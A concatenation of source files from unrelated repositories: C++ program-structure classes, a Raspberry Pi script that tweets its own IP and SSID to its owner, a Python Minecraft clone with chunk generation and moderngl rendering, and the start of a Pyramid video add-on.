}
void Free::printcommand(){
std::cout << "free(" << var->getname() << ")";
}
Increment::Increment(Variable *var, LinearisationEvent *event):
Statement(event){
this->var = var;
}
Variable *Increment::getvar(){
return var;
}
expression_subtype AgeIncrement::get_subtype(){
return AGEINCREMENT;
}
void AgeIncrement::printcommand(){
std::cout << var->getname() << ".age ++";
}
expression_subtype NextIncrement::get_subtype(){
return NEXTINCREMENT;
}
void NextIncrement::printcommand(){
std::cout << var->getname() << ".next.age ++";
}
VariableAssignment::VariableAssignment(Variable *lhs, Variable *rhs, LinearisationEvent *event):
Statement(event){
this->lhs = lhs;
this->rhs = rhs;
}
Variable *VariableAssignment::getlhs(){
return lhs;
}
Variable *VariableAssignment::getrhs(){
return rhs;
}
expression_subtype PointerAssignment::get_subtype(){
return POINTERASSIGNMENT;
}
void PointerAssignment::printcommand(){
std::cout << lhs->getname() << " = " << rhs->getname();
}
expression_subtype NextPointerAssignment::get_subtype(){
return NEXTPOINTERASSIGNMENT;
}
void NextPointerAssignment::printcommand(){
std::cout << lhs->getname() << ".next = " << rhs->getname();
}
expression_subtype PointerNextAssignment::get_subtype(){
return POINTERNEXTASSIGNMENT;
}
void PointerNextAssignment::printcommand(){
std::cout << lhs->getname() << " = " << rhs->getname() << ".next";
}
expression_subtype AgeAssignment::get_subtype(){
return AGEASSIGNMENT;
}
void AgeAssignment::printcommand(){
std::cout << lhs->getname() << ".age = " << rhs->getname() << ".age";
}
IOAssignment::IOAssignment(Variable *var, LinearisationEvent *event):
Statement(event){
this->var = var;
}
Variable *IOAssignment::getvar(){
return var;
}
expression_subtype InputAssignment::get_subtype(){
return INPUTASSIGNMENT;
}
void InputAssignment::printcommand(){
std::cout << var->getname() << ".data = _in_";
}
expression_subtype OutputAssignment::get_subtype(){
return OUTPUTASSIGNMENT;
}
void OutputAssignment::printcommand(){
std::cout << "_out_ = " << var->getname() << ".data";
}
Expression *Return::getnext(){
return NULL;
}
void Return::setnext(Expression *next){
}
expression_subtype Return::get_subtype(){
return RETURN;
}
void Return::printcommand(){
std::cout << "return";
}
expression_type Condition::get_type(){
return CONDITION;
}
Condition::Condition(bool negated, LinearisationEvent *event):
Expression(event)
{
this->negated = negated;
}
Expression *Condition::getnext(bool success){
if(success) return next_success;
return next_fail;
}
void Condition::setnext(Expression *next_success, Expression *next_fail){
if(negated){
this->next_success = next_fail;
this->next_fail = next_success;
}else{
this->next_success = next_success;
this->next_fail = next_fail;
}
}
void Condition::printsubprogram(){
printline();
if(next_success != NULL){
std::cout << "YES{\n";
if(next_success->output_done()){
std::cout << "GOTO " << next_success->getpc() << "\n";
}else{
next_success->printsubprogram();
}
std::cout << "}\n";
}
if(next_fail != NULL){
std::cout << "NO{\n";
if(next_fail->output_done()){
std::cout << "GOTO " << next_fail->getpc() << "\n";
}else{
next_fail->printsubprogram();
}
std::cout << "}\n";
}
}
Comparison::Comparison(Variable *lhs, Variable *rhs, bool negated, LinearisationEvent *event):
Condition(negated, event){
this->lhs = lhs;
this->rhs = rhs;
}
Variable *Comparison::getlhs(){
return lhs;
}
Variable *Comparison::getrhs(){
return rhs;
}
expression_subtype PointerComparison::get_subtype(){
return POINTERCOMPARISON;
}
void PointerComparison::printcommand(){
std::cout << lhs->getname() << " == " << rhs->getname() << " ?";
}
expression_subtype AgeComparison::get_subtype(){
return AGECOMPARISON;
}
void AgeComparison::printcommand(){
std::cout << lhs->getname() << ".age == " << rhs->getname() << ".age ?";
}
CAS::CAS(Variable *victim, Variable *compare, Variable *replace, bool negated, LinearisationEvent *event):
Condition(negated, event){
this->victim = victim;
this->compare = compare;
this->replace = replace;
}
Variable *CAS::getvictim(){
return victim;
}
Variable *CAS::getcompare(){
return compare;
}
Variable *CAS::getreplace(){
return replace;
}
expression_subtype CAS::get_subtype(){
return CANDS;
}
void CAS::printcommand(){
std::cout << "CompareAndSwap(" << victim->getname() << ", " << compare->getname() << ", " << replace->getname() << ") ?";
}
ProgramStructure::ProgramStructure() : Block(){
}
block_type ProgramStructure::get_blocktype(){
return BLOCK_STRUCTURE;
}
Sequence::Sequence(std::vector<Block*> blocks) : ProgramStructure(){
std::vector<Block*>::iterator i = blocks.begin();
Block* old = *i;
first = old->getfirst();
while(++i != blocks.end()){
old->setnext((*i)->getfirst());
// if old is an element of program structure we can now delete it
if(old->get_blocktype() == BLOCK_STRUCTURE){
delete old;
}
old = *i;
}
last = old;
}
Sequence::~Sequence(){
}
Expression *Sequence::getfirst(){
return first;
}
void Sequence::setnext(Expression *next){
last->setnext(next);
}
Loop::Loop(Condition *condition, Sequence *body) : ProgramStructure(){
this->condition = condition;
this->bodyfirst = body->getfirst();
body->setnext(condition);
delete body;
}
void Loop::setnext(Expression *next){
condition->setnext(bodyfirst, next);
}
Condition *Headloop::getfirst(){
return condition;
}
Expression *Footloop::getfirst(){
return bodyfirst;
}
IfThenElse::IfThenElse(Condition *condition, Sequence *then, Sequence *els) : ProgramStructure(){
this->condition = condition;
this->then = then;
this->els = els;
condition->setnext(then->getfirst(), els->getfirst());
}
Condition *IfThenElse::getfirst(){
return condition;
}
void IfThenElse::setnext(Expression *next){
then->setnext(next);
els->setnext(next);
// We don't need them anymore. Don't call this function twice!
delete then;
delete els;
}
IfThen::IfThen(Condition *condition, Sequence *then) : ProgramStructure(){
this->condition = condition;
this->then = then;
}
Condition *IfThen::getfirst(){
return condition;
}
void IfThen::setnext(Expression *next){
then->setnext(next);
condition->setnext(then->getfirst(), next);
// We don't need this anymore. Don't call this function twice!
delete then;
}
<file_sep>#pragma once
#include "observer.hpp"
Observer *onevalobserver();
| 93e7ece437c13bcb2a9dac7656b3d4d9ce24f151 | [
"Makefile",
"C++"
] | 26 | C++ | jwscience/Kassiopeia | 5deed2dccebb9c3a36946711ab02aa2554b4bb39 | f0cc7da4d474328326e089e583a39470f376ea7c |
refs/heads/master | <repo_name>sherkon18/SmartHeadlessRPi<file_sep>/README.md
"# SmarthHeadlessRPi"
Run SmartHeadlessRPi.py on start up, use crontab.
Here is more details on crontab and how to run on reboot https://www.cyberciti.biz/faq/linux-execute-cron-job-after-system-reboot/
SmartHeadlessRPI will direct message you on twitter, IP address and SSID Raspberry Pi is connected to.
You will need to specificy your twitter creditentials and access key. More info on Twitter API here.
https://developer.twitter.com/en/docs
<file_sep>/SmartHeadlessRPi.py
sys,socket, fcntl, struct, socket, array,os
from time import sleep
from twython import Twython
Device_Name="Your Device Name"
time.sleep(30)
#get IP address
def get_ip(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(
s.fileno(),
0x8915,
struct.pack('256s', ifname[:15])
)[20:24])
IP_address = get_ip('wlan0')
#get ESSID
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
maxLength = {
"interface": 16,
"essid": 32
}
calls = {
"SIOCGIWESSID": 0x8B1B
}
def getESSID(interface):
"""Return the ESSID for an interface, or None if we aren't connected."""
essid = array.array("c", "\0" * maxLength["essid"])
essidPointer, essidLength = essid.buffer_info()
request = array.array("c",
interface.ljust(maxLength["interface"], "\0") +
struct.pack("PHH", essidPointer, essidLength, 0)
)
fcntl.ioctl(sock.fileno(), calls["SIOCGIWESSID"], request)
name = essid.tostring().rstrip("\0")
if name:
return name
return None
essid = getESSID('wlan0')
tweetStr = "Device Name: "+Device_Name + " IP Address: " + IP_address + " ESSID: " + essid
print tweetStr
apiKey = '[Your Api Key]'
apiSecret = '[Your Api secret]'
accessToken = '[Your access token]'
accessTokenSecret = '[Your access token secret]'
api = Twython(apiKey, apiSecret, accessToken, accessTokenSecret)
api.send_direct_message(user_id='Your User ID',text=tweetStr)
| d5ad698f9ac21cb53ab9c160d0ad6210ddddac9f | [
"Markdown",
"Python"
] | 2 | Markdown | sherkon18/SmartHeadlessRPi | 57135f00c992c8e2d1e39aa4c57f2efbad1a6f37 | 497e479b5e503171370a79dab3ca08a9f5bd8975 |
refs/heads/master | <repo_name>Parashoo/Minecraft-Py<file_sep>/README.md
# Minecraft-Py
Upload repository for testers
## DISCLAIMER
This is simply an attempt at recreating a game that already exists. This project is not supported in any way by Mojang AB or any of its developpers, and is not official in any way. Textures have been taken from the original Minecraft assets, and are not created by me. The code, however, is my property as I have written it myself.
For the original version I am attempting to recreate, visit [the official Minecraft website](http://minecraft.net).
<file_sep>/setup.py
import subprocess
import importlib
import sys
module_dict = {"OpenGL": "PyOpenGL", "glfw": "glfw", "PIL": "Pillow", "numpy": "numpy", "glm": "PyGLM"}
def install_packages():
with open("setup.log", "w") as setup:
for i in module_dict:
try:
importlib.import_module(i)
setup.write("existing: " + module_dict[i] + "\n")
except ImportError:
if sys.platform == "linux":
subprocess.check_call([sys.executable, "-m", "pip", "install", module_dict[i]])
setup.write("installed: " + module_dict[i] + "\n")
elif sys.platform == "win32":
subprocess.check_call(["python", "-m", "pip", "install", module_dict[i]])
setup.write("installed: " + module_dict[i] + "\n")
<file_sep>/packages/model.py
import json
def load(root, name):
path = root / "ressources" / "models" / name
with path.open('r') as file:
data = json.load(file)
return data
def load_all(root):
path = root / "ressources" / "models"
model_dict = {}
for file in path.iterdir():
model = load(root, file)
model_dict.update({model["blocknum"]: model})
return model_dict
<file_sep>/packages/chunk.py
import numpy as np
import time
import random
class chunk:
indices = np.array([[0, 0, 1], [0, 0, -1], [1, 0, 0], [-1, 0, 0], [0, 1, 0], [0, -1, 0]], dtype = "int8")
def __init__(self, *args, gen=False):
if gen:
self.data = np.zeros((18, 257, 18), dtype="uint8")
self.fill_layers(1, random.randint(1, 16), 9)
else:
world = args[0]
self.corner = args[1]
self.data = world.return_chunk_data(self.corner)
self.data[:,:,16], self.data[:,:,17], self.data[16,:,:], self.data[17,:,:] = world.return_neighbour_slices(self.corner)
self.GL_pointer = None
self.render_array = np.zeros((16, 256, 16, 6), dtype = "int16")
def fill_layers(self, bottom_layer, top_layer, block_type):
for i in range(top_layer + 1 - bottom_layer):
self.data[:16,i+bottom_layer,:16] = np.full((16, 16), block_type, dtype = 'uint8')
def add_remove_faces(self, coords, blocktype, renderer):
self.data[coords] = blocktype
x, y, z = coords[0], coords[1], coords[2]
coords_in_world = (x+16*self.corner[0], y, z+16*self.corner[1])
neighbours = [self.data[tuple([x, y, z] + chunk.indices[i])] for i in range(6)]
for index, i in enumerate(neighbours):
if i == 0:
print("Adding face")
self.render_array[x, y, z, index] = blocktype
continue
if i != 0 and self.render_array[x, y, z, index] != 0:
print("Removing face")
self.render_array[x, y, z, index] = 0
if i != 0 and self.render_array[x + chunk.indices[index][0], y + chunk.indices[index][1], z + chunk.indices[index][2], 2*(index % 2 == 0) - 1] != 0:
print("Removing opposite face")
self.render_array[x + chunk.indices[index][0], y + chunk.indices[index][1], z + chunk.indices[index][2], 2*(index % 2 == 0) - 1] = 0
renderer.update_buffer(self.GL_pointer, self.render_array, self.top_block_layer, self.corner)
def return_exposed(self):
print(self.corner)
self.top_block_layer = 0
for i in range(256):
if not np.all(self.data[:16,255-i,:16] == np.zeros((16, 16), dtype = 'uint8')):
self.top_block_layer = 256-i
break
else: continue
for coords, blocktype in np.ndenumerate(self.data[0:16, 0:self.top_block_layer+1, 0:16]):
x, y, z = coords
if blocktype == 0:
continue
coords_in_world = (x+16*self.corner[0], y, z+16*self.corner[1])
neighbours = [self.data[tuple([x, y, z] + chunk.indices[i])] for i in range(6)]
for index, item in enumerate(neighbours):
if item == 0: self.render_array[x, y, z, index] = blocktype
#print(self.render_array)
return self
<file_sep>/packages/world_gen.py
import numpy as np
from pathlib import Path
import os, sys
import random
from json import dumps, loads
from math import floor
from packages import chunk
from time import time
class world:
def __init__(self, worldname, *options):
rootpath = Path(os.path.abspath(os.path.dirname(sys.argv[0])))
worlddir = rootpath / "world"
now = time()
self.world_mode = 'Loading existing world: '
world_shape = (8, 8)
if '-t' in options:
world_shape = (1, 1)
if not worlddir.exists():
worlddir.mkdir()
self.worldpath = worlddir / (worldname+".world")
if not self.worldpath.exists() or '-o' in options:
sys.stdout.write("Creating new world...")
sys.stdout.flush()
self.world_mode = 'Creating new world: '
chunk_dict = {}
world_file = self.worldpath.open('wb')
writelines_list = []
line_counter = 0
for index, stuff in np.ndenumerate(np.zeros(world_shape)):
index_x, index_z = index[0] - round(world_shape[0]/2), index[1] - round(world_shape[1]/2)
coords_list = (index_x, index_z)
new_chunk = chunk.chunk(gen=True)
writelines_list.append(new_chunk.data.tostring()+'\n'.encode('utf-8'))
chunk_dict[str(coords_list)] = line_counter
line_counter += 1
writelines_list = [(dumps(chunk_dict)+'\n').encode('utf-8')] + writelines_list
world_file.writelines(writelines_list)
world_file.close()
else:
sys.stdout.write("Loading existing world...")
sys.stdout.flush()
with self.worldpath.open('r') as wdata:
wlines = wdata.readlines()
self.chunk_dict = loads(wlines[0])
self.world_lines = wlines[1:]
sys.stdout.write("Done\n")
sys.stdout.flush()
elapsed = time() - now
self.time_required = [elapsed]
def return_chunk_data(self, corner):
return np.fromstring(bytes(self.world_lines[self.chunk_dict[str(corner)]][:-1], 'utf-8'), dtype='uint8').reshape(18, 257, 18)
def return_neighbour_slices(self, corner):
neighbour_corners = [((corner[0], corner[1] + 1), (slice(None), slice(None), 0)),
((corner[0], corner[1] - 1), (slice(None), slice(None), 15)),
((corner[0] + 1, corner[1]), (0, slice(None), slice(None))),
((corner[0] - 1, corner[1]), (15, slice(None), slice(None)))]
neighbour_slices = []
for neighbour_corner in neighbour_corners:
if str(neighbour_corner[0]) in self.chunk_dict.keys():
neighbour_slices.append(self.return_chunk_data(neighbour_corner[0])[neighbour_corner[1]])
else:
neighbour_slices.append(np.zeros((18, 257, 18), dtype = "uint8")[neighbour_corner[1]])
return neighbour_slices
def return_all_chunks(self):
sys.stdout.write("Calculating exposed blocks... ")
sys.stdout.flush()
now = time()
self.chunk_pointer_dict = {}
self.chunk_list = []
for index, chunk_info in enumerate(self.chunk_dict.items()):
print(chunk_info[0])
self.chunk_list.append(chunk.chunk(self, eval(chunk_info[0])).return_exposed())
self.chunk_pointer_dict[eval(chunk_info[0])] = index
self.time_required.append(time() - now)
sys.stdout.write("Done\n")
return self.chunk_list
def set_block(self, coords, blocktype, renderer):
target_chunk = self.return_chunk_containing_block(coords)
target_chunk.add_remove_faces((coords[0] % 16, coords[1], coords[2] % 16), blocktype, renderer)
def return_chunk_containing_block(self, coords):
corner = (coords[0] // 16, coords[2] // 16)
return self.chunk_list[self.chunk_pointer_dict[corner]]
def return_time(self):
return 'Exposed block calculation: {}\n{}{}'.format(self.time_required[1], self.world_mode, self.time_required[0])
<file_sep>/packages/render.py
import glm
import numpy as np
import sys, os
from PIL import Image
from pathlib import Path
import moderngl as mgl
import time
import ctypes
class render:
"""
Class that manages VBO and VAO creation, as well as drawing these.
"""
model_faces = {
0: "north",
1: "south",
2: "east",
3: "west",
4: "top",
5: "bottom",
}
faces = {
0: [
1.0, 0.0, 1.0,
1.0, 1.0, 1.0,
0.0, 0.0, 1.0,
0.0, 0.0, 1.0,
1.0, 1.0, 1.0,
0.0, 1.0, 1.0],
1: [
0.0, 0.0, 0.0,
0.0, 1.0, 0.0,
1.0, 0.0, 0.0,
1.0, 0.0, 0.0,
0.0, 1.0, 0.0,
1.0, 1.0, 0.0],
2: [
1.0, 0.0, 0.0,
1.0, 1.0, 0.0,
1.0, 0.0, 1.0,
1.0, 0.0, 1.0,
1.0, 1.0, 0.0,
1.0, 1.0, 1.0],
3: [
0.0, 0.0, 1.0,
0.0, 1.0, 1.0,
0.0, 0.0, 0.0,
0.0, 0.0, 0.0,
0.0, 1.0, 1.0,
0.0, 1.0, 0.0],
4: [
0.0, 1.0, 0.0,
0.0, 1.0, 1.0,
1.0, 1.0, 0.0,
1.0, 1.0, 0.0,
0.0, 1.0, 1.0,
1.0, 1.0, 1.0],
5: [
0.0, 0.0, 1.0,
0.0, 0.0, 0.0,
1.0, 0.0, 1.0,
1.0, 0.0, 1.0,
0.0, 0.0, 0.0,
1.0, 0.0, 0.0]
}
def __init__(self, layer_list, model_list, texture, program, context):
"""
Initialization of a render class.
Required arguments:
- layer_list: a list containing pointers for the GL_TEXTURE_2D_ARRAY's layers.
- model_list: a list containing block models.
- texture: a pointer to the GL_TEXTURE_2D_ARRAY mentioned above.
- program: the shader program to be used.
"""
self.layer_list = layer_list
self.model_list = model_list
self.texture = texture
self.program = program
self.context = context
self.previous_draw_data = np.array([], dtype = "float32")
def create_buffer(self, data):
""" Create a VBO and a VAO for the data passed as argument.
data should be a list of faces and coordinates structured as returned by chunk.return_neighbours().
Returns pointers to the buffer and array created, as well as the size of the buffer created (for drawing purposes).
"""
render_list = data.flatten()
vbo = self.context.buffer(render_list)
vao = self.context.vertex_array(self.program, [(vbo, "1i2 /v", "blocktype")])
return vbo, vao
def create_buffers_from_chunks(self, chunk_list):
self.vbo_list, self.vao_list, self.corner_list = [], [], []
sys.stdout.write("Creating buffers... ")
sys.stdout.flush()
now = time.time()
for index, chunk in enumerate(chunk_list):
print("Buffering chunk ", index)
new_vbo, new_vao = self.create_buffer(chunk.render_array)
self.vbo_list.append(new_vbo)
self.vao_list.append(new_vao)
self.corner_list.append(chunk.corner)
chunk.GL_pointer = index
self.time_required = time.time() - now
sys.stdout.write("Done\n")
sys.stdout.flush()
return self.vao_list
def update_buffer(self, pointer, new_data, top, corner):
data = np.array(self.generate_vertex_data(new_data, top, corner), dtype="float32")
print("Updating buffer")
self.vbo_list[pointer].orphan(data.nbytes)
self.vbo_list[pointer].write(data)
def draw_from_chunks(self, array_list):
for index, array in enumerate(self.vao_list):
self.program['corner'] = self.corner_list[index]
array.render(mode=mgl.POINTS)
def load_all_block_textures(sourcepath, context):
layer_list = {}
texture_list = []
for num, texture in enumerate(sourcepath.iterdir()):
tex_file = Image.open(texture)
texture_list.append(list(tex_file.getdata()))
layer_list.update({str(texture)[len(str(sourcepath))+1:]: num})
texture_array_data = np.array(texture_list, dtype = "uint8")
block_tex_array = context.texture_array((16, 16, len(texture_list)), 4, texture_array_data)
block_tex_array.build_mipmaps()
block_tex_array.filter = (mgl.LINEAR_MIPMAP_NEAREST, mgl.NEAREST)
return block_tex_array, layer_list
<file_sep>/packages/utilities.py
import glfw
import numpy as np
import glm
import time
import sys, os
from OpenGL.GL import *
from PIL import Image
from pathlib import Path
class camera:
def __init__(self, position, front, window_size):
self.pos = glm.vec3(position[0], position[1], position[2])
self.front = glm.vec3(front[0], front[1], front[2])
self.up = glm.vec3(0, 1, 0)
self.move = glm.vec3(front[0], 0, front[2])
self.sprint = False
self.sprint_press = 0
self.coords_toggle = False
self.last_x, self.last_y = window_size[0]/2, window_size[1]/2
self.pitch = glm.asin(self.front.y)
self.yaw = glm.acos(self.front.x / glm.cos(self.pitch))
self.sensitivity = 0.2
self.first_mouse = True
def setup_window(self, parent):
glfw.set_input_mode(parent.window, glfw.CURSOR, glfw.CURSOR_DISABLED)
glfw.set_cursor_pos_callback(parent.window, self.mouse_callback)
def mouse_callback(self, parent, x, y):
if self.first_mouse:
self.last_x, self.last_y = x, y
self.first_mouse = False
x_offset, y_offset = x - self.last_x, y - self.last_y
self.last_x, self.last_y = x, y
x_offset *= self.sensitivity
y_offset *= self.sensitivity
self.yaw += x_offset
self.pitch -= y_offset
if self.pitch > 89.95:
self.pitch = 89.95
if self.pitch < -89.95:
self.pitch = -89.95
direction = glm.vec3(
glm.cos(glm.radians(self.yaw)) * glm.cos(glm.radians(self.pitch)),
glm.sin(glm.radians(self.pitch)),
glm.sin(glm.radians(self.yaw)) * glm.cos(glm.radians(self.pitch))
)
self.front = glm.normalize(direction)
self.move.x = direction.x / glm.cos(glm.radians(self.pitch))
self.move.z = direction.z / glm.cos(glm.radians(self.pitch))
def process_input(self, parent, delta_time):
camera_speed = [4.13 * delta_time, 5 * delta_time]
sprint_speed = camera_speed[0]
if self.sprint:
sprint_speed = 10 * delta_time
if glfw.get_key(parent.window, glfw.KEY_W) == glfw.PRESS:
self.pos += sprint_speed * self.move
if glfw.get_key(parent.window, glfw.KEY_W) == glfw.RELEASE:
self.sprint = False
if glfw.get_key(parent.window, glfw.KEY_S) == glfw.PRESS:
self.pos -= camera_speed[0] * self.move
if glfw.get_key(parent.window, glfw.KEY_A) == glfw.PRESS:
self.pos -= glm.normalize(glm.cross(self.move, self.up)) * camera_speed[0]
if glfw.get_key(parent.window, glfw.KEY_D) == glfw.PRESS:
self.pos += glm.normalize(glm.cross(self.move, self.up)) * camera_speed[0]
if glfw.get_key(parent.window, glfw.KEY_SPACE) == glfw.PRESS:
self.pos += self.up * camera_speed[1]
if glfw.get_key(parent.window, glfw.KEY_LEFT_SHIFT) == glfw.PRESS:
self.pos -= self.up * camera_speed[1]
if glfw.get_key(parent.window, glfw.KEY_LEFT_CONTROL) == glfw.PRESS:
self.sprint = True
def testing_commands(self, parent):
if glfw.get_key(parent.window, glfw.KEY_H) == glfw.PRESS:
self.pos = glm.vec3(0, 0, 0)
if glfw.get_key(parent.window, glfw.KEY_PAGE_DOWN) == glfw.PRESS:
self.pos.y -= 50
if glfw.get_key(parent.window, glfw.KEY_PAGE_UP) == glfw.PRESS:
self.pos.y += 50
if glfw.get_key(parent.window, glfw.KEY_C) == glfw.PRESS:
if not self.coords_toggle:
nice_coords = [int(i) for i in self.pos]
print('x: {} y: {} z: {}'.format(nice_coords[0], nice_coords[1], nice_coords[2]))
self.coords_toggle = True
if glfw.get_key(parent.window, glfw.KEY_C) == glfw.RELEASE:
self.coords_toggle = False
if glfw.get_key(parent.window, glfw.KEY_F) == glfw.PRESS:
directions_dict = {
(1,0): 'east',
(0,1): 'north',
(-1,0): 'west',
(0,-1): 'south'}
direction_tuple = (round(self.move.x), round(self.move.z))
if not self.direction_toggle:
try:
print('facing: {}'.format(directions_dict[direction_tuple]))
except KeyError:
print("Some combination of north, south, east and west that I'm too lazy to specify")
self.direction_toggle = True
if glfw.get_key(parent.window, glfw.KEY_F) == glfw.RELEASE:
self.direction_toggle = False
if glfw.get_key(parent.window, glfw.KEY_O) == glfw.PRESS:
print(self.pitch)
def return_vectors(self):
return self.pos, self.pos + self.front, self.up
def set_sensitivity(self, new_sensitivity):
self.sensitivity = new_sensitivity
class window:
def __init__(self, *options, **even_more_options):
sys.stdout.write("Creating window... ")
sys.stdout.flush()
self.size = [800, 600]
glfw.init()
glfw.window_hint(glfw.CONTEXT_VERSION_MAJOR, 3)
glfw.window_hint(glfw.CONTEXT_VERSION_MINOR, 3)
glfw.window_hint(glfw.OPENGL_PROFILE, glfw.OPENGL_CORE_PROFILE)
self.window = glfw.create_window(self.size[0], self.size[1], "__DELETEME__", None, None)
glfw.make_context_current(self.window)
glfw.set_framebuffer_size_callback(self.window, self.window_resize_callback)
sys.stdout.write("Done\n")
sys.stdout.flush()
def refresh(self, step, context, *options):
color = (0.2, 0.3, 0.3, 1.0)
if options:
color = options[0]
if step == 0:
context.clear()
if step == 1:
glfw.swap_buffers(self.window)
glfw.poll_events()
def check_if_closed(self):
return glfw.window_should_close(self.window)
def close(self):
glfw.terminate()
def window_resize_callback(self, window, width, height):
glViewport(0, 0, width, height)
self.size = [width, height]
<file_sep>/minecraft.py
import sys, os
from pathlib import Path
sys.path.append(Path(os.path.abspath(os.path.dirname(sys.argv[0]))))
if not (Path() / "setup.log").exists():
import setup
setup.install_packages()
import glfw
import glm
import numpy as np
import moderngl as mgl
from OpenGL.GL import *
from math import sin, cos
from PIL import Image
from packages import utilities, chunk, render, world_gen, model
rootpath = Path(os.path.abspath(os.path.dirname(sys.argv[0])))
shaderpath = rootpath / "shaders"
texturepath = rootpath / "ressources"
blocktexturepath = texturepath / "block"
vertex_source_3d = shaderpath / "scene.vs"
geometry_source_3d = shaderpath / "scene.gs"
fragment_source_3d = shaderpath / "scene.fs"
with vertex_source_3d.open() as src:
vertex_source_3d = src.read()
with geometry_source_3d.open() as src:
geometry_source_3d = src.read()
with fragment_source_3d.open() as src:
fragment_source_3d = src.read()
vertex_source_GUI = shaderpath / "hud.vs"
fragment_source_GUI = shaderpath / "hud.fs"
with vertex_source_GUI.open() as src:
vertex_source_GUI = src.read()
with fragment_source_GUI.open() as src:
fragment_source_GUI = src.read()
vertex_source_sky = shaderpath / "sky.vs"
fragment_source_sky = shaderpath / "sky.fs"
with vertex_source_sky.open() as src:
vertex_source_sky = src.read()
with fragment_source_sky.open() as src:
fragment_source_sky = src.read()
camera = utilities.camera((0, 16, 0), (0, 0, 0), (800, 600))
delta_time = 0.0
last_frame = 0.0
def main():
global delta_time, last_frame
fps_list = []
test_world = world_gen.world('__DELETEME__', '-o')
window = utilities.window()
camera.setup_window(window)
ctx = mgl.create_context()
ctx.enable(mgl.DEPTH_TEST | mgl.BLEND)
ctx.blend_func = mgl.SRC_ALPHA, mgl.ONE_MINUS_SRC_ALPHA
scene = ctx.program(vertex_shader=vertex_source_3d, geometry_shader=geometry_source_3d, fragment_shader=fragment_source_3d)
hud = ctx.program(vertex_shader=vertex_source_GUI, fragment_shader=fragment_source_GUI)
sky = ctx.program(vertex_shader=vertex_source_sky, fragment_shader=fragment_source_sky)
sky_data = np.array([ # Sky
-1.0, 1.0, 0.0,
1.0, 1.0, 0.0,
-1.0,-1.0, 0.0,
1.0,-1.0, 0.0], dtype = 'float32')
sky_vbo = ctx.buffer(sky_data)
sky_vao = ctx.vertex_array(sky, sky_vbo, "aPos")
crosshair = np.array([0, 0, 0], dtype = 'float32') # Crosshair
vbo_2d = ctx.buffer(crosshair)
vao_2d = ctx.vertex_array(hud, vbo_2d, "aPos")
crosshair_file = Image.open(texturepath / "icons.png").crop((0,0,16,16))
crosshair_texture = ctx.texture((16, 16), 4, crosshair_file.tobytes())
crosshair_texture.filter = (mgl.NEAREST, mgl.NEAREST)
camera_direction = glm.vec3()
second_counter = 0
frame_counter = 0
all_textures, layers = render.load_all_block_textures(blocktexturepath, ctx)
all_models = model.load_all(rootpath)
world_render = render.render(layers, all_models, all_textures, scene, ctx)
all_chunks = test_world.return_all_chunks()
chunk_arrays = world_render.create_buffers_from_chunks(all_chunks)
while not window.check_if_closed():
current_frame = glfw.get_time()
delta_time = current_frame - last_frame
last_frame = current_frame
second_counter += delta_time
frame_counter += 1
window.refresh(0, ctx)
sky['orientation'] = glm.radians(camera.pitch)
ctx.disable(mgl.DEPTH_TEST)
sky_vao.render(mode=mgl.TRIANGLE_STRIP)
camera.process_input(window, delta_time)
camera.testing_commands(window)
pos, looking, up = camera.return_vectors()
view = glm.lookAt(pos, looking, up)
projection = glm.perspective(glm.radians(45), window.size[0]/window.size[1], 0.1, 256)
scene['view'].write(view)
scene['projection'].write(projection)
scene['texture0'] = 0
all_textures.use(location=0)
if glfw.get_key(window.window, glfw.KEY_U) == glfw.PRESS:
test_world.set_block(tuple(glm.ivec3(pos)), 3, world_render)
ctx.enable(mgl.DEPTH_TEST)
world_render.draw_from_chunks(chunk_arrays)
hud['texture0'] = 0
crosshair_texture.use(location=0)
vao_2d.render(mode=mgl.POINTS)
if second_counter >= 1:
fps_list.append(frame_counter)
second_counter, frame_counter = 0, 0
window.refresh(1, ctx)
window.close()
print('\n===== End statistics =====')
print("Average FPS: {}".format(np.mean(fps_list)))
print("Render buffer creation: ", world_render.time_required)
print(test_world.return_time())
if __name__ == '__main__':
main()
<file_sep>/TODO.md
### Rendering
- Redo rendering engine
- Use multiple different buffers of "quadrants", each having bonus space for more blocks,
allocated on runtime
- Assemble chunk exposed blocks into larger buffer
- Allow editing of buffer data
- Keep track of exposed faces and their memory pointers
### Movement
- Collisions <-- BIG POINT RIGHT HERE
- Hitboxes
- Gravity
### World Generation
- Heightmap
- Upper layer: grass
- 2-3 layers under: dirt
- Until bottom: stone
- Bottom: bedrock
- Trees?
### Models
- Create new models:
- Bedrock
- Oak Logs
- Oak Leaves
- Oak Planks
- Stone
| fe13cb8597a3eedd57a0dc1d76ac5194f1b343b5 | [
"Markdown",
"Python"
] | 9 | Markdown | Parashoo/Minecraft-Py | 43d7095040f67028655da87fe5667db3d34001de | 1de82d8c36bb08a684ea06d0b65672f436989969 |
refs/heads/master | <repo_name>ArcheProject/arche_video<file_sep>/arche_video/fanstatic_lib.py
from fanstatic import Library
from fanstatic import Resource
from js.jquery import jquery
library = Library('arche_video', 'static')
mediaelement = Resource(library, 'mediaelement/mediaelement.js', depends = (jquery,))
mediaelement_and_player = Resource(library, 'mediaelement/mediaelement-and-player.js',
minified = 'mediaelement/mediaelement-and-player.min.js', depends = (jquery,))
mediaelementplayer_css = Resource(library, 'mediaelement/mediaelementplayer.css',
minified = 'mediaelement/mediaelementplayer.min.css')
mejs_skins = Resource(library, 'mediaelement/mejs-skins.css')
<file_sep>/README.rst
Arche Video README
==================
<file_sep>/arche_video/models.py
from __future__ import unicode_literals
from arche.resources import Content
from arche.resources import DCMetadataMixin
from arche.interfaces import IBlobs
from arche_video import _
class VideoFolder(Content, DCMetadataMixin):
type_name = "VideoFolder"
type_title = _("Video folder")
default_view = u"view"
nav_visible = True
listing_visible = True
search_visible = True
show_byline = True
icon = "film"
add_permission = "Add %s" % type_name
@property
def image_data(self):
blobs = IBlobs(self, None)
if blobs:
return blobs.formdata_dict('image')
@image_data.setter
def image_data(self, value):
IBlobs(self).create_from_formdata('image', value)
def includeme(config):
config.add_content_factory(VideoFolder, addable_to = ('Document', 'Root', ), addable_in = ('File',))
<file_sep>/arche_video/interfaces.py
from zope.interface import Attribute
from zope.interface import Interface
class INewVideo(Interface):
video = Attribute("Video file")
<file_sep>/arche_video/events.py
from arche.interfaces import IFile
from zope.interface import implementer
from arche_video.interfaces import INewVideo
@implementer(INewVideo)
class NewVideo(object):
def __init__(self, video):
assert IFile.providedBy(video), "Must be an object implementing IFile"
self.video = video
<file_sep>/arche_video/views.py
from __future__ import unicode_literals
from arche import security
